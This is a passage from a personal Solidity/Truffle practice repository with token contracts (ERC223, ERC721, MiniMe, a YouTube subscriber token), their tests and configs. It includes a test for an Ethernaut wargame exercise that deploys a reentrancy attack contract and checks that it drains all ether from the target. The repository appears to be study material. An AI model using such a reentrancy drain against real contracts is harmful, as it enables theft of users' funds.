"0.0.3" 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /Misc/ZeppelinEthernaut/test/ReentranceAttackTest.js: -------------------------------------------------------------------------------- 1 | const Reentrance = artifacts.require("Reentrance.sol") 2 | const ReentranceAttack = artifacts.require("ReentranceAttack.sol") 3 | 4 | contract("ReentranceAttack", accounts => { 5 | 6 | let reentrance, reentranceAttack 7 | 8 | beforeEach(async () => { 9 | reentrance = await Reentrance.new() 10 | reentranceAttack = await ReentranceAttack.new(reentrance.address) 11 | }) 12 | 13 | it("should drain Reentrance of all it's ether", async () => { 14 | await reentrance.donate(accounts[0], {value: web3.toWei(1, 'ether')}) 15 | await reentrance.donate(reentranceAttack.address, {value: web3.toWei(1, 'ether')}) 16 | await reentranceAttack.attackReentrance() 17 | 18 | const reentranceBalance = web3.eth.getBalance(reentrance.address) 19 | 20 | assert.equal(reentranceBalance.toNumber(), 0) 21 | }) 22 | }) -------------------------------------------------------------------------------- /Misc/ZeppelinEthernaut/truffle.js: -------------------------------------------------------------------------------- 1 | const HDWalletProvider = require("truffle-hdwallet-provider"); 2 | 3 | const mnemonic = "your metamask mnemonic here"; 4 | const infuraKey = "your infura api key here" 5 | 6 | module.exports = { 7 | networks: { 8 | ropsten: { 9 | provider: new HDWalletProvider(mnemonic, "https://ropsten.infura.io/" + infuraKey), 10 | network_id: 3, 11 | gas: 4000000 12 | }, 13 | development: { 14 | host: "localhost", 15 | port: 8544, 16 | network_id: "*", // Match any network id 17 | gas: 4000000 18 | } 19 | } 20 | } 21 | 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # solidity-playground 2 | 3 | Contracts written in Solidity, using Truffle for deployment and testing. 4 | 5 | See the individual folders Readme's for details regarding the contracts within. 6 | 7 | These are primarily for personal development, in order of when I wrote them (the first one's described in each of the lists/folders are the oldest). I started by using the decypher.tv tutorials for inspiration. I then moved on to building larger sets of contracts which can be seen in Tokens, Governance, Upgradable, EIPs/ERCs and Misc. 8 | 9 | ### DecypherTv: 10 | - Basic Escrow 11 | - Coin Flipper (uses Oraclize) 12 | - Crowdsale 13 | 14 | ### Tokens: 15 | - Youtube Token (uses Oraclize) 16 | - MiniMe Testing 17 | - ERC 223 18 | 19 | ### Governance: 20 | - Basic Vote 21 | - Futarchy (SchellingVote) 22 | - Liquid Lockable Vote 23 | - Liquid Democracy (WIP) 24 | 25 | ### Upgradable: 26 | - Fallback Storage Access Test 27 | - Zeppelin Upgradable Proxy 28 | - Ether Router 29 | - Byzantium Upgradable 30 | 31 | ### EIPs/ERCs 32 | - EIP 712 (Structured data signing) 33 | - EIP 165 (Contract interface detection) 34 | 35 | ### Misc: 36 | - Ipfs Experiment 37 | - Zeppelin Ethernaut 38 | - Assembly Experiments 39 | - Aragon Test 40 | - Meta Transactions 41 | 42 | More recent Truffle projects have JS tests for demonstrating functionality, older projects use JS scripts executed directly through the Truffle console. 43 | 44 | Note: npm install is required in some projects eg for Zeppelin Contracts. 45 | -------------------------------------------------------------------------------- /Tokens/ERC223/contracts/ExampleERC223Receiver.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | import "./Implementation/StandardERC223Receiver.sol"; 4 | 5 | contract ExampleERC223Receiver is StandardERC223Receiver { 6 | 7 | event LogTestCalled(); 8 | event LogFallbackCalled(); 9 | event LogTestWithArg(uint testArg); 10 | event LogTestWithTempTransfer(address tokenFallbackCaller, address originalCaller, address from, uint256 value, bytes data); 11 | 12 | function () tokenPayable { 13 | LogFallbackCalled(); 14 | } 15 | 16 | function test() tokenPayable { 17 | LogTestCalled(); 18 | } 19 | 20 | function testWithArg(uint testArg) tokenPayable { 21 | LogTestWithArg(testArg); 22 | } 23 | 24 | function testWithTempToken() tokenPayable { 25 | LogTestWithTempTransfer(tempTransfer.tokenFallbackCaller, tempTransfer.originalCaller, tempTransfer.from, tempTransfer.value, tempTransfer.data); 26 | } 27 | 28 | function tokenSupported(address token) returns (bool) { 29 | // Should check the address is our token address 30 | return true; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /Tokens/ERC223/contracts/Implementation/StandardERC223Receiver.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | import "../Interface/ERC223Receiver.sol"; 4 | 5 | /* 6 | * @notice Abstract contract. Copied from Aragon implementation and made slightly more readable for my own understanding: 7 | * https://github.com/aragon/ERC23/blob/master/contracts/implementation/Standard223Receiver.sol 8 | * Also added basic tests to experiment with passing encoded function calls 9 | */ 10 | contract StandardERC223Receiver is ERC223Receiver { 11 | 12 | Transfer internal tempTransfer; 13 | bool internal calledFromTokenFallback; 14 | 15 | // Add/remove as required by the implementing contract 16 | struct Transfer { 17 | address tokenFallbackCaller; 18 | address originalCaller; 19 | address from; 20 | uint256 value; 21 | bytes data; 22 | bytes4 sig; 23 | } 24 | 25 | modifier tokenPayable { require(calledFromTokenFallback); _; } 26 | 27 | function tokenFallback(address originalCaller, address from, uint value, bytes data) returns (bool) { 28 | if (!tokenSupported(msg.sender)) return false; 29 | 30 | // Problem: This will do a sstore which is expensive gas wise. Find a way to keep it in memory. 31 | tempTransfer = Transfer(msg.sender, originalCaller, from, value, data, getSig(data)); 32 | 33 | calledFromTokenFallback = true; 34 | if (!address(this).delegatecall(data)) return false; 35 | 36 | // avoid doing an overwrite to .token, which would be more expensive 37 | // makes accessing .tkn values outside tokenPayable functions unsafe 38 | calledFromTokenFallback = false; 39 | 40 | return true; 41 | } 42 | 43 | function getSig(bytes _data) private returns (bytes4 sig) { 44 | uint l = _data.length < 4 ? _data.length : 4; 45 | for (uint i = 0; i < l; i++) { 46 | sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (l - 1 - i)))); 47 | } 48 | } 49 | 50 | function tokenSupported(address token) returns (bool); 51 | } 52 | -------------------------------------------------------------------------------- /Tokens/ERC223/contracts/Implementation/StandardERC223Token.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | import "../Interface/ERC223.sol"; 4 | import "../Interface/ERC223Receiver.sol"; 5 | import "zeppelin-solidity/contracts/token/StandardToken.sol"; 6 | 7 | /** 8 | * @notice Currently proposed standard implementation of ERC223 Token. 9 | * Differences to ERC20: 10 | * Checks if the receiver is a contract address during tx's and if so checks it can handle the funds. 11 | * Allows submitting of encoded function calls to the receiving address if it's a contract. Removing 12 | * the need to execute multiple transactions for each of the token and receiving contract. 13 | */ 14 | contract StandardERC223Token is ERC223, StandardToken { 15 | 16 | function StandardERC223Token(uint _totalSupply){ 17 | totalSupply = _totalSupply; 18 | balances[msg.sender] = totalSupply; 19 | } 20 | 21 | function transfer(address to, uint value) public returns (bool) { 22 | transfer(to, value, new bytes(0)); 23 | } 24 | 25 | function transfer(address to, uint value, bytes data) public returns (bool) { 26 | super.transfer(to, value); 27 | if (isContract(to)) notifyContractOrFail(msg.sender, to, value, data); 28 | return true; 29 | } 30 | 31 | function transferFrom(address from, address to, uint value) public returns (bool) { 32 | transferFrom(from, to, value, new bytes(0)); 33 | } 34 | 35 | function transferFrom(address from, address to, uint value, bytes data) public returns (bool) { 36 | super.transferFrom(from, to, value); 37 | if (isContract(to)) return notifyContractOrFail(from, to, value, data); 38 | return true; 39 | } 40 | 41 | function isContract(address accountAddress) private returns (bool) { 42 | uint accountCodeSize; 43 | assembly { accountCodeSize := extcodesize(accountAddress) } 44 | return accountCodeSize > 0; 45 | } 46 | 47 | function notifyContractOrFail(address from, address to, uint value, bytes data) private returns (bool) { 48 | ERC223Receiver receiverContract = ERC223Receiver(to); 49 | receiverContract.tokenFallback(msg.sender, from, value, data); 50 | return true; 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /Tokens/ERC223/contracts/Interface/ERC223.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | import "zeppelin-solidity/contracts/token/ERC20.sol"; 4 | 5 | contract ERC223 is ERC20 { 6 | function transfer(address to, uint value, bytes data) returns (bool); 7 | function transferFrom(address from, address to, uint value, bytes data) returns (bool); 8 | } 9 | -------------------------------------------------------------------------------- /Tokens/ERC223/contracts/Interface/ERC223Receiver.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | 4 | contract ERC223Receiver { 5 | function tokenFallback(address originalCaller, address from, uint value, bytes data) returns (bool); 6 | } 7 | -------------------------------------------------------------------------------- /Tokens/ERC223/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Tokens/ERC223/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function (deployer) { 4 | // deployer.deploy(Migrations) 5 | } 6 | -------------------------------------------------------------------------------- /Tokens/ERC223/migrations/2_deploy.js: -------------------------------------------------------------------------------- 1 | const TokenReceiver = artifacts.require("./ExampleERC223Receiver.sol"); 2 | 3 | module.exports = deployer => { 4 | // deployer.deploy(TokenReceiver) 5 | } 6 | -------------------------------------------------------------------------------- /Tokens/ERC223/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "requires": true, 3 | "lockfileVersion": 1, 4 | "dependencies": { 5 | "zeppelin-solidity": { 6 | "version": "1.3.0", 7 | "resolved": "https://registry.npmjs.org/zeppelin-solidity/-/zeppelin-solidity-1.3.0.tgz", 8 | "integrity": "sha512-q+WyqvQjE5gpKgXrhD8LBh0Njg7GI/zs4lKX14y0j7ISJIxe68hihSjaMU05V0M0qAbxgRC43AFTt7CxNsO8nQ==" 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Tokens/ERC223/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "zeppelin-solidity": "^1.3.0" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /Tokens/ERC223/test/StandardERC223ReceiverTest.js: -------------------------------------------------------------------------------- 1 | const ExampleERC223Receiver = artifacts.require("ExampleERC223Receiver.sol") 2 | const TestUtils = require("../../../Utils/TestUtils.js") 3 | 4 | // To get encoded function call data in truffle do 5 | // Contract.deployed().then(inst => inst.contract.functionCall.getData([params if any])) 6 | contract("StandardERC23Receiver", accounts => { 7 | 8 | let exampleReceiver 9 | 10 | beforeEach(async () => { 11 | exampleReceiver = await ExampleERC223Receiver.new() 12 | }) 13 | 14 | describe("tokenFallback(address originalCaller, address from, uint value, bytes data)", () => { 15 | 16 | let originalCaller = "0x6872f5f8725868b1df9bd0e5578f34404b965f25" 17 | let from = "0x2db9672f4a5baec2b777a8de375c51ddc3b1723d" 18 | let value = 1000; 19 | 20 | it("calls fallback function on implementing contract", async () => { 21 | const unknownFunctionSignature = "0x00000000" // Should call fallback function 22 | const tx = await exampleReceiver.tokenFallback(originalCaller, from, value, unknownFunctionSignature) 23 | 24 | TestUtils.assertEventFired(tx, "LogFallbackCalled") 25 | }) 26 | 27 | it("calls test function on implementing contract", async () => { 28 | const testFunctionSignature = exampleReceiver.contract.test.getData() 29 | const tx = await exampleReceiver.tokenFallback(originalCaller, from, value, testFunctionSignature) 30 | 31 | TestUtils.assertEventFired(tx, "LogTestCalled") 32 | }) 33 | 34 | it("calls testWithArg function on implementing contract with correct uint argument", async () => { 35 | const expectedArgument = 10; 36 | const encodedFunctionCall = exampleReceiver.contract.testWithArg.getData(expectedArgument) 37 | await exampleReceiver.tokenFallback(originalCaller, from, value, encodedFunctionCall) 38 | const logArguments = await TestUtils.listenForEvent(exampleReceiver.LogTestWithArg()) 39 | 40 | assert.equal(logArguments.testArg, expectedArgument, "Argument passed to function is not as expected") 41 | }) 42 | 43 | it("calls testWithTempToken function on implementing contract with correct tempToken values", async () => { 44 | const encodedFunctionCall = exampleReceiver.contract.testWithTempToken.getData() 45 | await exampleReceiver.tokenFallback(originalCaller, from, value, encodedFunctionCall) 46 | const logArguments = await TestUtils.listenForEvent(exampleReceiver.LogTestWithTempTransfer()) 47 | 48 | assert.equal(logArguments.tokenFallbackCaller, accounts[0], "Token fallback caller is not as expected") 49 | assert.equal(logArguments.originalCaller, originalCaller, "Original caller is not as expected") 50 | assert.equal(logArguments.from, from, "From address is not as expected") 51 | assert.equal(logArguments.value, value, "Value is not as expected") 52 | assert.equal(logArguments.data, encodedFunctionCall, "Data is not as expected") 53 | }) 54 | }) 55 | }) -------------------------------------------------------------------------------- /Tokens/ERC223/test/StandardERC223TokenTest.js: -------------------------------------------------------------------------------- 1 | const ERC223Token = artifacts.require("./StandardERC223Token.sol") 2 | const TokenReceiver = artifacts.require("./ExampleERC223Receiver.sol"); 3 | const TestUtils = require("../../../Utils/TestUtils.js") 4 | 5 | contract("ERC223Token", accounts => { 6 | 7 | let erc223Token, tokenReceiver 8 | 9 | beforeEach(async () => { 10 | erc223Token = await ERC223Token.new(1000, {from: accounts[0]}) 11 | tokenReceiver = await TokenReceiver.new() 12 | }) 13 | 14 | describe("transfer(address to, uint value)", () => { 15 | 16 | it("transfers to a normal account", async () => { 17 | await erc223Token.transfer(accounts[1], 100) 18 | const acc0Balance = await erc223Token.balanceOf(accounts[0]) 19 | const acc1Balance = await erc223Token.balanceOf(accounts[1]) 20 | 21 | assert.equal(acc0Balance.toNumber(), 900, "Senders balance is incorrect") 22 | assert.equal(acc1Balance.toNumber(), 100, "Receivers balance is incorrect") 23 | }) 24 | 25 | it("doesn't transfer to contract address", async () => { 26 | const maxGasAvailable = 4000000 27 | await TestUtils.assertThrows(() => erc223Token.transfer(erc223Token.address, 100, {gas: maxGasAvailable}), maxGasAvailable) 28 | const acc0Balance = await erc223Token.balanceOf(accounts[0]) 29 | 30 | assert.equal(acc0Balance.toNumber(), 1000, "Senders balance is incorrect") 31 | }) 32 | 33 | it("does transfer to contract address with a tokenFallback() function implemented", async () => { 34 | await erc223Token.transfer(tokenReceiver.address, 100) 35 | const acc0Balance = await erc223Token.balanceOf(accounts[0]) 36 | const tokenReceiverBalance = await erc223Token.balanceOf(tokenReceiver.address) 37 | 38 | assert.equal(acc0Balance.toNumber(), 900, "Senders balance is incorrect") 39 | assert.equal(tokenReceiverBalance.toNumber(), 100, "Receivers balance is incorrect") 40 | }) 41 | }) 42 | 43 | }) -------------------------------------------------------------------------------- /Tokens/ERC223/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8544, 6 | network_id: "*" // Match any network id 7 | }, 8 | testnet: { 9 | host: "localhost", 10 | port: 8546, 11 | network_id: "4", 12 | gas: 4000000, 13 | gasPrice: 101000000111 14 | } 15 | } 16 | }; 17 | -------------------------------------------------------------------------------- /Tokens/ERC721/contracts/ERC721.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | 4 | contract ERC721 { 5 | 6 | // ERC20 7 | // function name() public view returns (string); 8 | // function symbol() public view returns (string); 9 | // function totalSupply() public view returns (uint256 _totalSupply); 10 | function balanceOf(address _owner) public view returns (uint256 _balance); 11 | function ownerOf(uint _tokenId) public view returns (address _owner); 12 | function approve(address _to, uint _tokenId) public; 13 | function transferFrom(address _from, address _to, uint _tokenId) public; 14 | function transfer(address _to, uint _tokenId) public; 15 | 16 | // ERC721 17 | function implementsERC721() public view returns (bool); 18 | function tokenOfOwnerByIndex(address _owner, uint _index) public view returns (uint); 19 | // function tokenMetadata(uint _tokenId) public view returns (string); 20 | 21 | event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); 22 | event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); 23 | } 24 | -------------------------------------------------------------------------------- /Tokens/ERC721/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.17; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() public { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Tokens/ERC721/contracts/ZeppelinNonFungibleToken.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.1; 2 | 3 | contract ZeppelinNonFungibleToken { 4 | 5 | constructor() { 6 | 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /Tokens/ERC721/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Tokens/ERC721/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "requires": true, 3 | "lockfileVersion": 1, 4 | "dependencies": { 5 | "openzeppelin-solidity": { 6 | "version": "2.0.0", 7 | "resolved": "https://registry.npmjs.org/openzeppelin-solidity/-/openzeppelin-solidity-2.0.0.tgz", 8 | "integrity": "sha512-SolpxQFArtiYnlSNg3dZ9sz0WVlKtPqSOcJkXRllaZp4+Lpfqz3vxF0yoh7g75TszKPyadqoJmU7+GM/vwh9SA==" 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Tokens/ERC721/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "openzeppelin-solidity": "^2.0.0" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /Tokens/ERC721/test/StandardNonFungibleTokenTest.js: -------------------------------------------------------------------------------- 1 | const StandardNonFungibleToken = artifacts.require("StandardNonFungibleToken.sol") 2 | 3 | 4 | contract("StandardNonFungibleToken", accounts => { 5 | 6 | let standardNonFungibleToken 7 | 8 | beforeEach(async () => standardNonFungibleToken = await StandardNonFungibleToken.new()) 9 | 10 | describe("balanceOf()", () => { 11 | 12 | it("acc0 is initially zero", async () => { 13 | const acc0Balance = await standardNonFungibleToken.balanceOf(accounts[0]) 14 | console.log(acc0Balance) 15 | assert.equal(acc0Balance, 0) 16 | }) 17 | 18 | }) 19 | 20 | }) -------------------------------------------------------------------------------- /Tokens/ERC721/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | 3 | networks: { 4 | 5 | development: { 6 | host: "localhost", 7 | port: 8544, 8 | network_id: "*", // Match any network id 9 | gas: 6000000, 10 | gasPrice: 21000000000 11 | }, 12 | 13 | kovan: { 14 | host: "localhost", 15 | port: 8548, // might be 8547 16 | network_id: "*", 17 | gas: 5000000, 18 | gasPrice: 50000000000 19 | }, 20 | 21 | rinkeby: { 22 | host: "localhost", 23 | port: 8549, // might be 8547 24 | network_id: "*", 25 | gas: 5000000, 26 | gasPrice: 50000000000 27 | } 28 | } 29 | }; 30 | -------------------------------------------------------------------------------- /Tokens/MiniMeTesting/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Tokens/MiniMeTesting/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | // var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | // deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Tokens/MiniMeTesting/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | 2 | module.exports = function(deployer) { 3 | 4 | }; 5 | -------------------------------------------------------------------------------- /Tokens/MiniMeTesting/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8544, 6 | network_id: "*" // Match any network id 7 | } 8 | } 9 | }; 10 | -------------------------------------------------------------------------------- /Tokens/README.md: -------------------------------------------------------------------------------- 1 | # Tokens 2 | 3 | Token and token related contracts. 4 | 5 | ### YoutubeToken 6 | More complex use of Oraclize than in CoinFlipper from DecypherTvTutorials. Fetches YouTube subscriber count for a specified user and eth address and gives that eth address a number of tokens equal to their subscriber count (plus the specified token decimals). The address associated to the user is currently manually input when the username is provided but this should also be fetched by Oraclize. This eth address should be registered by having the user log into a site with their Youtube credentials then specifying their public address which is saved on a server. Ideally they would also save an ec signature of its private key with a message to further verify they own that address. The contract requires a google console API key with YouTube Data API v3 enabled. 7 | 8 | ### MiniMeTesting 9 | Playing with the Giveth MiniMeToken from https://github.com/Giveth/minime with some basic tests to understand its functionality. 10 | 11 | ### ERC223 12 | Basic implementation of the current ERC223 token proposal with minimal tests for experimentation. Largely copied from Aragon's implementation here: https://github.com/aragon/ERC23. Demonstrates how to call functions using byte/hex encoded function calls. Useful because it allows submitting of encoded function calls to the receiving address if it's a contract which removes the need to execute multiple transactions for each of the token and receiving contract. Also prevents funds from being sent to contracts that can't handle them. 13 | 14 | ### ERC721 15 | Basic implementation of the current ERC721 token proposal. Currently unfinished, learnt what I wanted to from zeppelin examples. 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /Tokens/YoutubeToken/.vscode/settings.json: -------------------------------------------------------------------------------- 1 | // Place your settings in this file to overwrite default and user settings. 2 | { 3 | "solidity.compileUsingRemoteVersion": "latest" 4 | } -------------------------------------------------------------------------------- /Tokens/YoutubeToken/contracts/ERC20.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | // Copied from OpenZeppelin 4 | contract ERC20 { 5 | function totalSupply() public constant returns(uint); 6 | function balanceOf(address who) constant returns (uint256); 7 | function transfer(address to, uint256 value) returns (bool); 8 | event Transfer(address indexed from, address indexed to, uint256 value); 9 | 10 | function allowance(address owner, address spender) constant returns (uint256); 11 | function transferFrom(address from, address to, uint256 value) returns (bool); 12 | function approve(address spender, uint256 value) returns (bool); 13 | event Approval(address indexed owner, address indexed spender, uint256 value); 14 | } -------------------------------------------------------------------------------- /Tokens/YoutubeToken/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Tokens/YoutubeToken/contracts/utils/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | /** 4 | * Copied from OpenZeppelin 5 | * @title SafeMath 6 | * @dev Math operations with safety checks that throw on error 7 | */ 8 | library SafeMath { 9 | 10 | function mul(uint256 a, uint256 b) internal returns (uint256) { 11 | uint256 c = a * b; 12 | assert(a == 0 || c / a == b); 13 | return c; 14 | } 15 | 16 | function div(uint256 a, uint256 b) internal returns (uint256) { 17 | // assert(b > 0); // Solidity automatically throws when dividing by 0 18 | uint256 c = a / b; 19 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 20 | return c; 21 | } 22 | 23 | function sub(uint256 a, uint256 b) internal returns (uint256) { 24 | assert(b <= a); 25 | return a - b; 26 | } 27 | 28 | function add(uint256 a, uint256 b) internal returns (uint256) { 29 | uint256 c = a + b; 30 | assert(c >= a); 31 | return c; 32 | } 33 | } -------------------------------------------------------------------------------- /Tokens/YoutubeToken/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Tokens/YoutubeToken/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | var YouTubeToken = artifacts.require("./YouTubeToken.sol") 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(YouTubeToken) 5 | } 6 | -------------------------------------------------------------------------------- /Tokens/YoutubeToken/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | 4 | development: { 5 | host: "localhost", 6 | port: 8544, 7 | network_id: "*", // Match any network id 8 | }, 9 | 10 | testnet: { 11 | host: "localhost", 12 | port: 8546, 13 | network_id: "4", 14 | gas: 3000000, 15 | gasPrice: 21000000111 16 | } 17 | } 18 | }; 19 | -------------------------------------------------------------------------------- /Tokens/YoutubeToken/ts.js: -------------------------------------------------------------------------------- 1 | var YouTubeToken = artifacts.require("./YouTubeToken.sol") 2 | var youTubeToken = YouTubeToken.at(YouTubeToken.address) 3 | 4 | var subscriptionCountUpdatedEvent = youTubeToken.LogBalanceUpdatedWithSubscriptionCount(); 5 | var watchForSubscription = () => subscriptionCountUpdatedEvent.watch((error, response) => { 6 | if (!error) { 7 | console.log("Subscriber: " + response.args.subscriber + " Subscription Count: " + response.args.subscriptionCount) 8 | } else { 9 | console.log(error) 10 | } 11 | subscriptionCountUpdatedEvent.stopWatching() 12 | }) 13 | 14 | var debugQuer = youTubeToken.DebugQuery(); 15 | var debugQuery = () => debugQuer.watch((error, response) => { 16 | if (!error) { 17 | console.log("Query: " + response.args.query) 18 | } else { 19 | console.log(error) 20 | } 21 | debugQuer.stopWatching() 22 | }) 23 | 24 | var getOraclizeCost = () => youTubeToken.getOraclizeFee() 25 | .then(fee => { console.log("Oraclize Fee: " + fee); return fee }) 26 | 27 | var addUsersSubscriptions = (user, account) => { 28 | watchForSubscription() 29 | debugQuery() 30 | getOraclizeCost() 31 | .then(fee => youTubeToken.registerUser(user, web3.eth.accounts[account], { value: fee })) 32 | .then(tx => console.log("Requested subscriptions to be added for user: " + user)) 33 | } 34 | 35 | var displaySubscriptionCount = (user) => youTubeToken.balanceOf(user) 36 | .then(result => console.log("SubscriberCount for user " + user + ": " + result)) 37 | 38 | var balanceOf = account => youTubeToken.balanceOf(web3.eth.accounts[account]) 39 | .then(balance => console.log("Account " + account + " balance: " + balance)) 40 | 41 | // addUsersSubscriptions("expovistaTV", 1) 42 | // addUsersSubscriptions("GeriGFX", 2) 43 | 44 | balanceOf(2) 45 | 46 | // youTubeToken.totalSupply() 47 | // .then(totalSupply => console.log("Total Supply: " + totalSupply.toNumber())) 48 | 49 | module.exports = (callback) => {} -------------------------------------------------------------------------------- /Upgradable/ByzantiumUpgradable/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() public { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Upgradable/ByzantiumUpgradable/contracts/Ownable.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | 4 | /** 5 | * @title Ownable 6 | * @dev The Ownable contract has an owner address, and provides basic authorization control 7 | * functions, this simplifies the implementation of "user permissions". 8 | */ 9 | contract Ownable { 10 | address public owner; 11 | 12 | 13 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 14 | 15 | 16 | /** 17 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 18 | * account. 19 | */ 20 | function Ownable() { 21 | owner = msg.sender; 22 | } 23 | 24 | 25 | /** 26 | * @dev Throws if called by any account other than the owner. 27 | */ 28 | modifier onlyOwner() { 29 | require(msg.sender == owner); 30 | _; 31 | } 32 | 33 | 34 | /** 35 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 36 | * @param newOwner The address to transfer ownership to. 37 | */ 38 | function transferOwnership(address newOwner) onlyOwner public { 39 | require(newOwner != address(0)); 40 | OwnershipTransferred(owner, newOwner); 41 | owner = newOwner; 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /Upgradable/ByzantiumUpgradable/contracts/UpgradableContractProxy.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | import "./Ownable.sol"; 4 | 5 | /** 6 | * Note this contract holds the storage the upgradable contracts will use. 7 | * Calling the contract's implementations directly will not effect this contracts storage and should have 8 | * no effect on the expected behaviour when properly using the upgradable contract through this proxy. 9 | */ 10 | contract UpgradableContractProxy is Ownable { 11 | 12 | // Contracts at the upgradableContractAddress must reserve the first location in storage for this address as 13 | // they will be called through this contract. This contract masquerades as the implementation to create a common 14 | // location for storage of vars. 15 | address private upgradableContractAddress; 16 | 17 | function UpgradableContractProxy(address initialContractAddress) public { 18 | upgradableContractAddress = initialContractAddress; 19 | } 20 | 21 | function setContractAddress(address 